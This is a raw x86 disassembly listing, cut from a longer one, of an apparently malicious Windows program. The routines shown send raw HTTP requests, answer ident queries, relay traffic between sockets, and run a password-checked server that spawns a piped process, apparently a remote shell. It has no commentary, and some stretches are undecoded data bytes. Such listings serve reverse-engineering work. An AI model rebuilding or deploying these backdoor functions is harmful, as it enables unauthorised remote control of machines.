arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAF14
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAFA4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D158

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFF4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAFA4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEEC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433FC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F80
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEEC[ecx], eax
		call	dword_4CAEB4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFD0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAFCC
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB038
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_43402C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 61E8h
		dd 8B022800h, 0C969C44Dh, 234h,	8189C63Bh, 43DEF4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 0AFE89032h, 0EB0227FFh, 0EBE890EDh
		dd 50022808h, 433FF068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB024
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAFA4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB028
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF5C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4340B4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEEC[ebx]
		mov	dword_43DEE4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEF0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_434074
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEF0[esi]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEEC[esi]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEF0[esi]
		call	dword_4CB03C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22DF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEEC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEF8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF38
		push	eax
		push	offset unk_43418C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26F0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D158
		push	dword ptr [esi]
		call	dword_4CAFF4
		cmp	dword_4CDD08, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFF4
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434150
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_434124
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340F8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_4341B8
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341E4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 1415FF00h, 33004CAFh, 74C63BF6h, 5468501Dh, 0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Dh, 410CCBh, 370055E8h, 0C0859002h, 0E8902975h
		dd 2280336h, 43106850h,	59E80043h, 59000047h, 0FC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022DF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEECh, 50E0458Dh
		dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342D4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF84h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h
		dd 0FFFFFBECh, 43429068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0E4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 21E89050h, 8B0227F9h, 0C969B84Dh,	234h, 8189C63Bh
		dd 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh, 6FE89032h
		dd 0EB0227F8h, 0ABE890EDh, 50022801h, 43425468h, 45CEE800h
		dd 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh, 0FBEC858Dh
		dd 1C68FFFFh, 50004342h, 0AC15E8h, 0CC48300h, 75C47539h
		dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh
		dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh
		dd 4507E8h, 0FF575900h,	4CB03C15h, 15FF5300h, 4CB03Ch
		dd 0AEFC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 0F336E890h
		dd 335B022Dh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEEC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0E5Dh

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 2780E3Ah
		nop
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_434380
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 26A0E5Dh
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2710C10h
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB03C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset unk_434464
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_434424

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343FC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

